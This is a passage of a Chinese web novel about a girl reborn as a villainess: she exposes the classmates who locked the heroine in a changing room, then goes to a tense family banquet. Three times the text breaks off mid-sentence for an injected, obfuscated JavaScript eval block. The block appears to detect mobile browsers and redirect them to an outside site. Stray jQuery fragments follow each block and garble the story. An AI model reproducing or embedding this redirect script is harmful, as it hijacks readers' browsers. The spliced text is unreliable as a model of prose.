而且路荧似乎对陆烬燃很有好感。只是上争不过霸道的时谣,下抢不过得陆烬燃青眼的姜望舒。如果是她故意要挑起自己和姜望舒之间的矛盾,那就说得通了。
时谣可不允许有人在她洗白的道路上给她添堵,确认了就是她们三个过后,找值守老师要了个U盘拷了一份录像。
苏雾迟被她挤到一边,看她聚精会神地操作着,眼底的怀疑更深了。
她只是回家待了几天,变化就这么大,这段时间到底发生了什么?
苏雾迟满腹疑虑,时谣顺利将所需要的录像全部拷录完成,下意识拨了一下垂落的鬓发。
苏雾迟的视线不自觉地落到她雪白的脖颈之上。
那一节雪颈皮肤细腻,隐隐透着青色的血管,看上去脆弱又诱人。
注意到苏雾迟的视线,时谣终于往他那边看了过去。
苏雾迟收回视线,与她目光交接。
那双桃花眼专注看人的时候真的好像要把人吸进去,没有人能不为他的美貌沦陷。
时谣盯着他看了一会儿,心里嘀咕,还真是好看啊,难怪原著后期原主已经对f4的其他人都死了心,却还对苏雾迟这么死心塌地。
但苏雾迟此人危险,前期剧情里他还没爱上姜望舒的时候还算正常,后期剧情开了大虐,他的行事风格也越来越病娇时,简直无差别攻击所有伤害女主的人。
时谣虽然不会再针对姜望舒,但万一这家伙记仇,把原主干的事情也算到她头上了呢?
想要摆脱恶毒女配的死局,时谣绝对不会再与他继续纠缠下去。
“今天多谢你,不过苏雾迟,我知道你做这些也是为了姜望舒。我不喜欢你了,以后也不会再针对她。从今往后我们井水不犯河水,就当不认识吧。”
她划分界限的态度太明确,苏雾迟蓦地抬起眼。
11. 对峙
时谣的眼神很清很亮,像是漂浮着碎冰的海,广袤,却又刮着自由的风。
……眼神变了。
这是苏雾迟的第一反应。
因为他清晰地记得不久前在更衣室里,同一张脸上露出的痴迷表情。
距离在更衣室见到她过去了几天?一个星期有吗?苏雾迟不动声色地打量着眼前人,时谣的变化实在惊人,她是不喜欢自己之后才变成这样的吗,还是自己从没有发现这双眼睛其实也挺吸引人?
那栋楼的楼层会比其他楼建得高一点,从三楼的高度下来也是很容易受伤的,以她这种欺软怕硬的性子,居然有胆量直接跳窗逃生吗?
而且她是自己跳,并不是逼迫其他人。
苏雾迟不得不承认,时谣的这种转变激起了他的兴趣,眼前的人好像一个谜团,她的性格气质、一举一动似乎都和往日他熟知的那个时谣相悖。
他很想知道,这个变化到底是因何产生。
苏雾迟盯着时谣,缓慢地开口了:“突然这么说,最近是发生了什么事吗?”
他的语速缓慢,语调也很轻。
时谣只是道:“没发生什么,只是突然想好好学习了。”
苏雾迟轻笑起来:“是为了和陆烬燃那个赌约吗?”
“你就当是好了。”
苏雾迟温和地点点头:“嗯,加油。”
时谣最后看了他一眼,拿起U盘离开了监控室。
但她转身离去的时候并没有发觉,苏雾迟带着探究的视线,一直黏在她的身上。
……
回到家的时候,已经比平时晚了两个小时。
时谣终于给自己的手机充上电,拷好录像,打开了圣斯特学院的专属聊天室ST。
ST集论坛、聊天、各种校园重大事项通知于一体。只要搜索学号或者姓名,便能主动对圣斯特里的人发起聊天。
时谣本想问问姜望舒此时情况如何,但刚搜到她的名片,姜望舒的信息就心有灵犀似的发了过来。
【姜望舒:我刚刚到家,你到家了吗?】
时谣对姜望舒很有好感,善良又温柔的小白花女主还是蛮可爱的啦。于是回了几条消息报平安后,把自己查到的监控录像发给了她。
【时谣:这三个人分别叫路荧、高蓝和宋之珊。你回忆一下,是不是她们三个锁的你?】
【姜望舒:我没看到她们的长相,但如果明天遇到我应该能认出她们的声音。不过监控没有拍到她们的作案过程的话,她们不会承认的。】
姜望舒深谙这些欺负她的人的秉性,她们大部分都不会留下证据,当面对质根本对质不出成果,相反揭穿之后还会被变本加厉地欺负。
因此遇到这种事,姜望舒基本上是能忍则忍,反正她一个特招生再怎么样也抗争不过那些少爷千金,不忍下来的话,甚至很快就连在圣斯特学院读书的资格都会没有了。
但时谣看着自己手上的录像证据,缓缓打字回复:
【时谣:明天确认后,你就咬死是她们就好。】
她们离开的时间完全对得上,苏雾迟也没必要骗她,而且这三人里面家世最好的路荧和晏家比起来也根本不值一提,真要公开对峙,时谣可不带怕的。
给她身上泼脏水,她就没有忍气吞声的道理。
或许是时谣太笃定,对面的姜望舒输入了很久,只回复了一个“嗯”。
时谣又想起一件事,不由得多问了一句:【对了,奶奶还好吗?】
姜望舒打字的手一顿,不自觉地回头看向一脸祥和坐在沙发上看电视的姜奶奶,心中柔软。
【姜望舒:还好我及时给奶奶打电话报了平安,她及时回家了,并无大碍。时谣,真的很谢谢你。】
奶奶接到她电话的那一刻都快哭出来了。
姜望舒很难想象,如果她再晚一步拨出这个电话,奶奶会发生什么。
……
第二天路荧如往常一般来到班级。
她今天的心情还算不错,正一边哼着歌一边将书包里的东西拿出,却被身边的人猛地拽了一下。
“干什么呢?!”路荧不满地瞪向那人,却发现拽自己的人是高蓝,此时高蓝正疯狂地向她使眼色,示意她往身后看。
一大早的发什么疯?路荧不满地向身后看去,却看到了此时正安然无恙坐在座位上温书的姜望舒。
她一瞬间瞪大了眼睛。
姜望舒怎么会在这里?
她不应该被关在更衣室里吗?
路荧望着姜望舒震惊良久,她的另一个共谋宋之珊也凑了过来,压低了声音:“她怎么会出现在教室?这个点她应该还被关着才对。”
“是谁多管闲事把她救出来了吗?不对吧,我特地买通了保安让他晚上巡楼别往更衣室去的。”
“你说她会不会发现是我们干的?”
“怎么可能,她都认不清班里的人,监控我也提前关了,绝对发现不了是我们。”
三人又鬼鬼祟祟,做贼心虚地看了一眼身后的姜望舒。
任谁都能看出三人此时心里有鬼了。时谣不知什么时候出现在三人桌前,歪头看着探头探脑的三人。
“路荧。”时谣抬起眸,轻轻敲了敲眼前的桌子。
被她点到名字的路荧立刻跟惊弓之鸟似的回过头来,见是时谣,柳眉倒竖:“你……”
“你什么你?”时谣双手环抱,没好气地道,“你解释解释,你昨晚为什么要把我关在更衣室里?”
什么?
路荧一时间觉得莫名其妙,她昨天关的不是姜望舒吗,关时谣什么事?这家伙今天是不是疯了?
于是她不客气地回怼道:“我不知道你在说什么。你不会又被f4甩了不开心,故意来找我的茬吧?”
她故作鄙夷,几个人的动静不小,时谣以前就经常缠着f4然后闹笑话,因此听懂的人都心照不宣地哄笑起来。
时谣不管这群人在笑什么,她打开手机,点开监控录像的一张截图。
上面赫然是路荧三人清晰的脸。
“昨天下午5点32分,我们班舞蹈课刚下课,高蓝就去了一楼监控室关掉了三楼更衣室门口的监控。而你和宋之珊留在更衣室里观察其他人,5点46分,三楼监控黑掉,但是从一楼楼梯可以看见高蓝没有离开,反而上了楼。”
时谣眼睛都没眨,语速飞快。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996701|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“5点52分的时候你们三个人一起出现在了一楼楼梯口的监控范围里,自那之后,就再也没有我们班的人出现了。因此你们是最后一批走的人,能把我反锁在更衣室里的只有你们三个。”
不是……路荧慌了,时谣将她们三个的行踪分析得一清二楚,连几点几分干了什么都准确地说了出来,可是她们关起来的不是姜望舒吗?!
还有高蓝……路荧狠狠瞪了高蓝一眼,叫她关掉监控居然只关掉了三楼的监控,这跟没关有什么区别?!
见到三人心虚的小动作,时谣心里有了底,冷笑着逼问:“我知道你们平时看我不爽,但是这么光明正大把我锁进更衣室,是以为我查不出来是你们干的吗?!”
时谣故意拔高声音,做出了以往尖酸骄横的模样。路荧现在已经慌了,因为她突然意识到昨天做的事情似乎出了点差错,好像关起来的不止是姜望舒,还有一个时谣。
这难办了。路荧暗暗嘀咕,她虽然不喜欢时谣,但是时谣好歹也是晏家的人,平时一点小恩怨小摩擦斗几句嘴就过去了,她才不会傻到去把时谣关起来呢。
毕竟晏家,整个学校都没几个人惹得起。
路荧有些烦躁地思考着这件事到底要怎么糊弄过去,身边的高蓝和宋之珊却已经慌了:“我们没有想把你关……”
“闭嘴!是你们干的吗就乱说话!”路荧慌里慌张地打断她们,转头对上时谣清明的视线。
反正监控没有直接拍到她们的作案过程,只要不承认,时谣不可能拿她们如何。
路荧虚张声势地仰起头:“光凭几句模棱两可的分析就赖上我们,有没有一种可能是你平时树敌太多别人看不惯你呢?我和高蓝宋之珊只是走得晚了点就被你泼了一身的脏水,真是不要太搞笑!”
时谣视线很冷:“所以你是不愿意承认对吗?”
“都不是我们干的,为什么要承认?”
“我本想着我们私下解决就算了,但看你这个样子,我好像不得不让我爸爸去找一下路家家主了。”
班里的同学看着两人争执,早就议论纷纷:
“女魔头怎么又和别人吵起来了?还是跟路荧诶。”
“路荧人挺好的啊,怎么可能干出来把人锁起来的事?”
“呃真无语,时谣之前还把姜望舒锁到体育器材室里了,现在自己被关了知道痛了吧,怎么不想想之前姜望舒多难过,真是双标……”
路荧在班里的人缘还算不错,而且有大名鼎鼎的万人嫌时谣作对比,班级里的讨论声一时都很偏向她。
路荧听着班级里的讨论,露出一个势在必得的笑。
“时谣,我知道你人缘不好很难过,但你也不能毫无证据地污蔑人吧?我承认你刚刚说的那些乍一听很唬人,但你亲眼看到我们把你锁起来了吗?你有人证和物证吗?光是凭着一点推理,怎么就成我们干的了呢?”
路荧越说越自信,只要时谣没有直接证据,她们只要咬死不认就行,谁来也不管用。
姜望舒皱眉看着这一幕,正要起身帮时谣说话。
“人证?我就是。”
班级门口突然响起一道清越的男声,众人闻声望过去。
12. 偏见
看清来人,10班瞬间爆发了一阵异动。
“天哪,是苏雾迟!”
“雾迟王子怎么来了!啊啊啊啊啊啊他长得好仙好漂亮,谁快掐我一下,我要呼吸不过来了……”
时谣本来正想继续施压,却没想到苏雾迟会出现在10班,明明昨天才刚说了以后要井水不犯河水,就当不认识的。
而且他那么讨厌自己,干嘛要替自己出头?
但转念一想,时谣很快又想明白了。苏雾迟肯定不是为了自己,应该是在帮助姜望舒吧。
苏雾迟在众目睽睽之下走进教室,肩上的学生会红章闪着光泽,对时谣微微颔首。
“昨天下午放学我巡查教室卫生的时候,正好听见你们的聊天。”苏雾迟温和的目光扫向路荧三人,望着她们越来越紧张的神色。
“你们刚好在说,把姜望舒同学关起来了。我担心出事,就去你们口中的更衣室找了一下。却发现……时谣同学也在里面。”
不知是有意还是无意,苏雾迟隐去了部分细节。时谣不自觉地看向他,苏雾迟也正好转头,二人对上视线,苏雾迟轻轻勾了一下唇。
时谣微怔,轻移眼神,躲开他的视线。
苏雾迟作为风云f4之一,在学生们中的威信可不低。他对路荧三人的指认已经说明了一切,一时间舆论颠倒,同学们又开始讨论起来。
“什么?真的是路荧干的?!”
“我看路荧平时的样子还以为她是什么好人呢,没想到私底下也会欺负同学啊。”
“时谣居然在帮姜望舒出头诶,她俩关系什么时候变这么好了?”
“而且苏雾迟也在帮她们说话,看来路荧是真的……”
在众人的讨论声中,姜望舒看了看苏雾迟,又看了看时谣,下定了决心走上前去。
“就是你们昨天把我锁起来的。”姜望舒看着这三人,和昨天最后离去的身影,渐渐重叠。
她抬起清亮的双眸,声音有些故作镇定:“如果不是时谣同学刚好没走,或许我会被锁到今天早上,不会有人来救我。你们还跟我说是时谣让你们把我关起来的,我差一点,就信了你们的话!”
苏雾迟别有深意地看了一眼两人,眼底的兴趣更浓了。
听着众人对她的指指点点,路荧慌乱无措地站了起来:“不是我——姜望舒,你忘记上次被时谣关在体育器材室里的事了吗?”
姜望舒抿了一下唇,路荧的提醒倒让她想起了一些不太愉快的往事,但奇怪的是,比起被关在体育器材室里的无助,此刻在她脑海中更清晰的,却是时谣昨夜义无反顾跳下窗台的场景。
“我没有忘。”姜望舒轻声道,“但是这件事,与她无关。”
时谣微微怔住,看着她低着头,清瘦又倔强的身影。
苏雾迟和善提醒道:“如果还有争议的话,可以去监控室看看你们班后面的监控录像。”
路荧猛地回头,看着天花板之下那个正对着她座位的摄像头,镜头里冒着红光,正冷眼旁观这满教室的喧哗。
对,监控……三人的脸色一下子都不好看了,她们昨天讨论的时候还真是得意忘形,连教室里有监控这件事都忘记了。
这下她们再也没办法辩解,只能在座位上尴尬地沉默着,任凭周遭人的议论声不断传入耳朵里。
“行,是我干的,那又怎么样?!”路荧破罐子破摔。
“那现在你是不是应该对我和姜望舒道一声歉?”
“凭什么?!”
“做了坏事就应该向别人道歉,哪有什么凭什么?还是说你希望我把昨天的事告诉我爸爸,让他和路家家主交涉一下?”
路荧虎躯一震,如果被父亲知道自己惹了晏家的人,一定会狠狠骂她一顿,说不定还会断掉自己所有的生活费!
三人不甘地对视一眼,最终还是屈服于四大家族的淫威,对两人道了歉:“对不起!”
路荧想了想还是十分不服:“好吧,虽然我承认昨天的事情是我做的不对,但是时谣你又是什么好东西?欺负姜望舒这件事情,不是你最早起的头吗?”
“还有你,姜望舒。”路荧倨傲地扬起下巴,“你不觉得很丢人吗?跟一直欺负自己的人混在一起,这就是特招生的骨气吗?”
姜望舒:“我……”
“行了,一人做事一人当。”时谣淡淡地皱起眉,看向姜望舒,眉眼柔和了一点。
她当着班里所有人的面,对姜望舒诚恳地鞠了一躬。
“我知道以前我的所作所为给你带来了很大的困扰。从今往后我不会再欺负你了,以后在10班,我罩着你。”
这是……
众人都不可思议地望着时谣。
女魔头今天是怎么回事?!居然对着自己以前最讨厌的特招生鞠躬道歉?!
路荧也明显被这一幕震撼,她呆呆地看着时谣,心想这真的是疯了。
姜望舒看着她,眼底慢慢流露出一丝笑意:“嗯。”
路荧跌坐在位置上,费解地看着时谣。
一个特招生,到底有什么值得他们一个两个的朝她示好?
但是此话一出,班里的人都有些目光闪烁,各种各样的情绪都有。
他们目光复杂地看着时谣,似乎才发现他好像变了一个样子。
现在的女魔头好陌生。
这真的是以前那个无脑的万人嫌吗?
“欺凌同学可不是一件小事。”苏雾迟看着这一幕,“需要我把这件事上报给学生会吗?”
学生会正是晏羽管辖的,负责处理学生之间的大小事务,严重的话,会经由学生会上报给校方。
苏雾迟说这句话的时候正看着时谣,时谣的目光闪了闪,却看向姜望舒。
“望舒,你觉得呢?”时谣问道,“毕竟她们的本意是针对你,你是要原谅她们还是争取一个公正,我都支持你。”
姜望舒看着时谣,只觉得有一股暖流从心中涌过,但她摇了摇头。
“都道过歉了,而且也没有发生什么严重的事,就算了吧。都是同学,我希望以后可以好好相处。”
苏雾迟见状,雅致地对着她们颔首:“那我就继续去巡查纪律了,你们也快点回到座位,开始早读吧。”
这温和有礼的样子,更是迷倒了一大片人。
“呜呜呜是真的好温柔啊,这个看狗都深情的眼神!”
“没想到今天苏雾迟会主动来到我们班,我感觉我早读都有动力了!”
临走前,苏雾迟向时谣投去一眼。
时谣面色复杂地看着他,对他无声地做着口型:“谢谢。”
苏雾迟一顿,下意识勾起唇,露出一个温润如月的笑。
……
从10班出来之后,苏雾迟看见了等在10班门口的陆烬燃。
陆烬燃已然将刚刚的那一幕尽收眼底,因此对着走出来的苏雾迟露出了一个复杂的表情。
“你故意跟我调换巡查区间,就是为了做这个?”
苏雾迟和陆烬燃都是学生会的人。准确来说,每一个四大家族的杰出人才基本上都需要进学生会历练一番。
学生会最基本的工作就是巡查早读和课间纪律,上一次10班内部闹矛盾,正是这一周负责巡查10班这一层楼的陆烬燃发现并出来调和的。
“你不觉得很有意思吗?”苏雾迟眼底闪过一丝兴味的光,对他轻笑。
“她好像真的变得不一样了。”
这种改变脱胎换骨,但并不让人讨厌。
至于时谣昨天说什么井水不犯河水再不相见,苏雾迟才没当一回事。毕竟现在的时谣还挺有意思的,都是四大家族的人,有什么必要相见不相识?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996702|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>可陆烬燃却很明显没有get到他的意思,只是不悦地皱起眉。
“你真的相信她改变了吗?她只是装的而已。”陆烬燃不屑道。
苏雾迟顿了顿,潋滟的桃花眼轻轻扫过陆烬燃不以为然的脸,继而弯起一丝弧度。
他轻轻拍了拍陆烬燃的肩膀,与他淡淡地擦肩而过,只留下陆烬燃一人执拗地盯着10班里回到座位上看书的时谣,目光里是连他自己都没有察觉到的过分在意……
……
年级大榜今天正式张贴,时谣上次去办公室没注意看,这次凑到大榜前瞥了一眼,在前排搜寻了片刻,才找到想找的名字:陆烬燃。
陆烬燃总分654,排名年级第三十,刚好卡位在1班的末位。
时谣盯着陆烬燃的名字看了片刻,却是弯眼笑了。
系统问她:【宿主,怎么了吗?】
时谣轻笑道:“没什么,看来有人比我想象中要菜。”
至于那个人是谁,好难猜啊。
年级大榜张贴出来之后,姜望舒的转班申请也通过审批,马上就要正式搬到1班了。
她在10班里的东西并不多,时谣搭了把手,帮她把东西搬到了1班教室。
姜望舒似乎有些不好意思:“时谣同学,谢谢你。”
“叫我时谣就好了。”时谣声音亲切,“恭喜你搬到1班,以后如果遇到什么麻烦,可以来10班找我,我会帮你解决的。”
姜望舒对她露出一个真心实意的笑容:“嗯。”
姜望舒正要回去,时谣犹豫了一下,伸手拦住她。
“我不知道你以前遇到过多少打着我的名义欺负你的这种事。但我想说,如果我是我欺负的你,那我本人一定在场,只要我没露面,那就都不是我干的。”
时谣自己的印象中,对姜望舒做过最过分的事情也就是反锁到体育器材室,剩下的也就是语言嘲讽,还没有到原著后期那种偏执癫狂的程度。
经过昨晚的事情,时谣意识到一个可能性:会不会有些事情,其实都不是原主干的,而是原主给其他人背的锅呢?
时谣还挺喜欢姜望舒的,小白花女主又温柔又可爱,更罪大恶极的事她还没干也不会干,时谣不想她误会自己。
姜望舒沉默了片刻,幽幽道:“其实我知道很多事情都不是你做的。”
时谣一愣:“诶?”
“你的做事风格直来直往,从不屑于隐藏痕迹。其他人做坏事的时候会有心隐瞒,其实很好辨认。”
时谣:“……”
虽然很委婉,但时谣听懂了,姜望舒的意思是她做事比较蠢。
她有些脸热:“好吧你没误会我就好……其实我还想说,我也不喜欢陆烬燃他们几个了,你以后可以跟他们正常相处,我不会找你麻烦的。”
女主以后可是要和他们几个发展感情线的,自己现在不早点撇清关系更待何时?
姜望舒盯着她看了片刻,只觉得现在的时谣很是亲切,跟以往尖酸刻薄的样子判若两人。是她本来就是这样的人吗?还是最近真的改变了呢?
但无论是哪一种,姜望舒都愿意放下以往的偏见,去认识全新的时谣。
她软软道:“嗯,好呀。”
姜望舒笑起来的样子,很甜,很可爱。
……
天色已晚。
时谣用心做完今天的功课,趁着放学还有一点时间,给朱颜和温馨然讲了一下题。
“时谣,有人找你!”
讲得起劲的时候,门口突然传来一阵呼唤。
时谣疑惑地向门口看去。
一个熟悉的人影靠在走廊外的栏杆上,校服扣子被一丝不苟地扣到了最上面一颗,整个人散发着一种生人勿近的大佬气场。
时谣的脑子卡了一下壳,不可置信地唤道:“哥哥?”
13. 家宴
晏羽回过头,清冽的视线在她身上淡淡地停留片刻。
“怎么不接电话?”
电话?
时谣疑惑地打开手机,果然在上面看到了司机打来的好几个未接来电。
“我刚刚在忙,没空看手机。”时谣解释道,“找我有什么事情吗?”
晏羽看着她,手指在上面不轻不重地敲击着。
“收拾一下出来吧,今天回老宅参加家宴。”
时谣:“???”
“家宴”这个熟悉又陌生的词宛如一道惊雷在时谣耳边炸响,震得时谣头皮发麻。
家宴……
原主只在来到晏家的第一年参加过一次晏家的家宴。与其说是家宴,对于原主而言却更像是一场羞辱仪式。
那一天原主第一次见到晏家的其他千金大小姐们,她们一举一动的气度都令原主自惭形秽。甚至她们看自己的眼神也是鄙夷的,好像看到了混在了凤凰堆里的麻雀,让原主无时无刻都在感受着自卑。
以至于现在时谣回想起来都有些无所适从,但是晏修远已经很久没带她参加过家宴了,今天这番突然是为何?
时谣一边头脑风暴一边收拾着书包,出来后见晏羽还在等自己,不由得上前打探道:“今天怎么要回老宅参加家宴了?”
晏羽淡淡道:“奶奶说想要见我们。”
奶奶,晏羽的亲奶奶,一个严肃的老太太,原主心中最害怕的人。
记忆中她总是因为原主轻浮的举动斥责自己,时谣光是回想就觉得压力倍增,苦着一张脸跟着晏羽走出了校门。
但当她发现晏羽十分淡定地跟她坐上了同一辆车后,面上的苦涩瞬间转化为惊悚。
时谣瞠目结舌:“这是我的车诶。”
晏羽面色古怪地看她一眼:“我不能坐?”
“不是。”时谣无奈地揉了揉眉心,“你怎么突然想和我坐一辆车了?明明你以前……”
晏羽闻言,不动声色地关上车门。
“安叔去接父亲他们了。”晏羽淡淡道。
“所以,我们两个只能坐一辆了。”
时谣:“……”
时谣见他坦然,没有一点要和自己坐一辆车的不自在,也没什么好说的了。
她别过脸去,看着窗外渐渐下沉的夕阳,想到那个对自己充满偏见的严肃老太太,不由自主地叹了口气。
今晚,看来要遭受一场酷刑了。
她在窗户上哈了口气,沮丧地画了一个哭脸:
QAQ
在身后盯着她动作的晏羽看到这个幽怨的小表情,没忍住勾起了一个愉悦的弧度。
……
大家族都讲究礼仪,就算是家宴,也不能穿得太寒酸。
兄妹俩刚从学校被接出来,就被打包扔进了附近做造型的店,店员见是晏家的少爷千金,都热情地围了上来:“这边请。”
晏羽瞥了时谣一眼,率先抬腿走进内间。时谣看着他云淡风轻的背影,认命叹息,走进了另一个房间。
“这是夫人为小姐提前订好的衣物,小姐随意挑选。”
时谣对着店员推来的三大排衣服,瞪大了双眼。
时婳很贴心,给她准备了许多种适合她年龄段风格的衣物。但都是比较郑重保守,适合见长辈的款式。
时谣挑来挑去,相中了一款紫色纱裙。
那款式比较低调,面料却流光闪烁,像一朵星空下盛放的紫罗兰。
时谣换了这身,造型师们忙上前给她做造型。很快时谣就从原来的马尾长发被整成了个乖巧丸子头,因为她的皮肤和五官都长得很好,根本不需要化妆品的多余点缀,化妆师只是给她涂了一个日常的裸色唇釉。
时谣被摆弄半天,在看到镜中焕然一新的自己时,眼睛忍不住亮起。
系统为她尖叫打call:【啊啊啊啊啊啊啊啊宿主你也太美了吧——】
走出房间的时候,就看到了同样焕然一新的晏羽。
两人看到对方,俱是一愣。
晏羽换上了一件墨色衬衫,领口的不规则设计敞开,露出锁骨处的一片肌肤。羽毛形状的金属胸针扣在胸前,链子垂下,显出几分慵懒随性。
而时谣扎着丸子头,穿着如紫罗兰般层层绽放的紫色纱裙,看上去倒像个小仙女。尤其是那一双好奇打量着他的眼神灵动可爱,乖巧得不行。
晏羽没见过这么漂亮的时谣,一时间看得有些愣住。
而时谣也愣愣地想:平时总是把每一个扣子扣得严丝合缝,一副恨不得把自己困在衣服里的晏羽,居然也有舍得露肤的时候?
似乎是发现了时谣的目光落在了自己的锁骨处,晏羽有些不自在地垂眸,轻轻扯了一下自己的衣领。
时谣回神,由衷夸赞:“哥,你今天超帅的!”
晏羽:“……”
他转身就走,试图掩饰自己红透了的耳尖。
早就习惯了晏羽的冷淡,时谣也没在意他不搭理自己这件事。
很快车子就载着两人来到了晏家老宅。
晏家老宅是一座山庄,因今日有宾客至,更是张灯结彩。
时谣透过车窗,感受着夜晚下的晏家山庄给她带来的巨大震撼。
好大的房子啊……基本上只在电视上看到过这么大的住宅,入口处还有个漂亮的玫瑰喷泉。各种欧式风格的精致雕像矗立在庭院之前,气派极了。
时谣一时间将要见到严肃老太太的事情抛却脑后,好奇地打量着这个房子。
她没怎么来过这里,上一次来也是三年前的事情了。晏羽却似乎经常光临,十分熟门熟路地走进了屋子。
老宅的管家也熟悉地迎了上去:“晏羽少爷。”
当他看到晏羽身后的时谣时,似乎顿了一下,眼底闪烁着惊艳的光。
眼前人有点眼生,但是不可否认的是,这真的是个非常漂亮的少女,那灵动四处转的眼睛好像会说话,管家内心升起一丝好感,询问道:“这是……”
“时谣。”晏羽淡淡地回答。
管家眼底升起来的好感瞬时又消散了,原来是晏羽少爷那个不太懂事的继妹啊。
他内心吐槽,表面上却仍旧彬彬有礼地对时谣鞠了一躬:“原来是时谣小姐,请进。”
时谣的目光落到他的身上,她并没有错过在得知她身份后眼前人眸中一闪而过的失望之色,却只是觉得有些好笑。
“嗯,麻烦了。”她笑吟吟地道。
她的笑靥一晃而过,很快就跟着晏羽离开了。管家却在原地愣了愣,内心产生了一丝怪异的感觉。
时谣小姐,好像变化还挺大的?
晏家的人其实并不太待见时婳母女,在走进房子的这段距离里,时谣试图在脑子里搜刮出这家人的长相和称呼,但可惜晏家人在原主中的印象实在太少了。
时谣不清楚这个家宴到底多少人,也不想在宴会上闹笑话,于是拉住了晏羽的手臂。
晏羽一顿,回头看她。
时谣犹豫道:“那个……我认不清人怎么办?”
“待在后面不出声就行。”
“那怎么行呢,我还记得我上次来谁都不认识,还有人说我不懂规矩不知道喊人呢,但问题是我也不知道喊什么啊。”时谣垂头丧气地道。
她可最怕家庭聚会了,什么七大姑八大姨围上来就是一顿输出,和她们社交简直比做十套高考模拟题还累。本来时谣就不受晏家人待见,多说多错,不说也是错。
见平时那双活力满满的眼睛现在满是沮丧之色,晏羽怎么能看不出她的心思,却只是道:“但你要是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996703|178202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟着我的话……”
他没继续往下说,只是拉着她走进宴客厅。
一进门,就有不少人围了上来。
“诶,阿羽来啦!”
“哎哟我看看,我们家阿羽是越来越帅了,这身高,这模样,听说现在高三了是不是?大学是准备出国还是考国内的大学?”
“学校里有没有小姑娘追你啊?如果谈女朋友了可以带回家看看,让姨看看是哪家名门淑女!”
晏羽不但在圣斯特学院内大受欢迎,同样也是长辈们眼中调侃的中心。
偏偏晏羽还很懂礼貌,晏家亲戚长辈那么多,他不仅记住了所有人,寒暄的时候还能提一嘴上次见面发生的事情。
谁不喜欢礼貌又有涵养的好孩子呢?一时间围在晏羽身边的人越来越多。
被迫在晏羽身边成为社交中心的时谣:“……”
好绝望,她能不能现在就跑路?
晏羽看到她魂都丢了的表情,眼底似乎有了一点笑意。
他趁没人注意的时候轻轻弹了一下时谣的胳膊,向着一旁轻轻瞥了一眼。
时谣顺着他的目光看过去,成功发现了站在不远处的时婳和晏修远。
她给了晏羽一个感激的眼神,趁话题还没扯到她身上,连忙脚底抹油,逃离了这个令人窒息的社交圈。
“爸爸妈妈!”时谣成功来到时婳和晏修远身边,松了一大口气。
时婳见到女儿,忙把她拉到自己身边,关切地看着她。
“谣谣来啦?”晏修远和蔼地笑笑,打量着打扮精致的时谣,“我们家谣谣今天像个小仙女哦!”
“爸爸,怎么不早点跟我说要来参加家宴呢?”
时婳露出一个欲言又止的表情,晏修远摸摸女儿的脑袋,轻轻叹息。
“奶奶突然说想你们了。”
时谣:“……”
想谁?想晏羽她还信,想她?
但看到旁边时婳略带不满的表情,时谣觉得自己不该多问,于是识趣地闭上了嘴。
时婳拉着女儿,叮嘱道:“来到这里不要乱跑,不要跟人起冲突,就跟在妈妈身边,少说多吃,知道吗?”
时谣点了点头。
但很快,管家就来到了三人跟前,先是彬彬有礼地鞠了一躬,然后对着晏修远道:“大少爷,老夫人说想见见您和夫人。”
时婳皱起眉,看向时谣。
时谣立刻懂事地道:“爸爸妈妈你们过去吧,我一个人待着,不会出事的。”
时婳还想再说点什么,晏修远却轻轻扶住了她的肩。
“我们过去吧,谣谣是大孩子了,不会有事的。”
时婳:“那谣谣,有事给我发消息。”
时谣笑着和父母挥手告别,看着时婳不放心地一步三回头,最终还是消失在了走廊的拐角。
时谣轻轻叹了口气。
看来这场窒息家宴的前半部分还得自己度过了。
“喂,你是谁家的小姐,怎么跑到我们家的宴会上了?”
身旁响起一个娇蛮的声音,时谣回过神去看她,却见一个娃娃脸、穿着洛可可风的蓬蓬裙女孩正好奇地打量她。
时谣一顿,脑子里立刻浮现出此人的名字:晏书蝶。
论亲缘,这人是晏羽的堂妹,晏老太太最喜欢的孙女;论别的……这人糟糕的脾气和原主半斤八两,三年前原主第一次来晏家的时候,就和眼前人吵了一架,是死对头。
晏书蝶本来是觉得时谣长得好看才上前搭话,但见她不说话,突然觉得她有点眼熟,忍不住凑上前仔细打量着。
忽然,她脑子里灵光一闪指着她惊叫起来:“哇,你不就是那个讨人厌的泥腿子吗!你怎么还有脸来到我们家的!”
此话一出,不少人都闻声望过来。
14. 风波
时谣总觉得,自己明明不怎么惹麻烦,但是麻烦却总爱惹上她。
面对晏书蝶的大惊小怪,宴会厅里的其他人都投来了八卦的眼神,时不时有几句窃窃私语传进时谣的耳朵里。
“好漂亮的小姑娘,那是谁?”
“是大房的那个继女,被老太太说上不得台面的那个……”
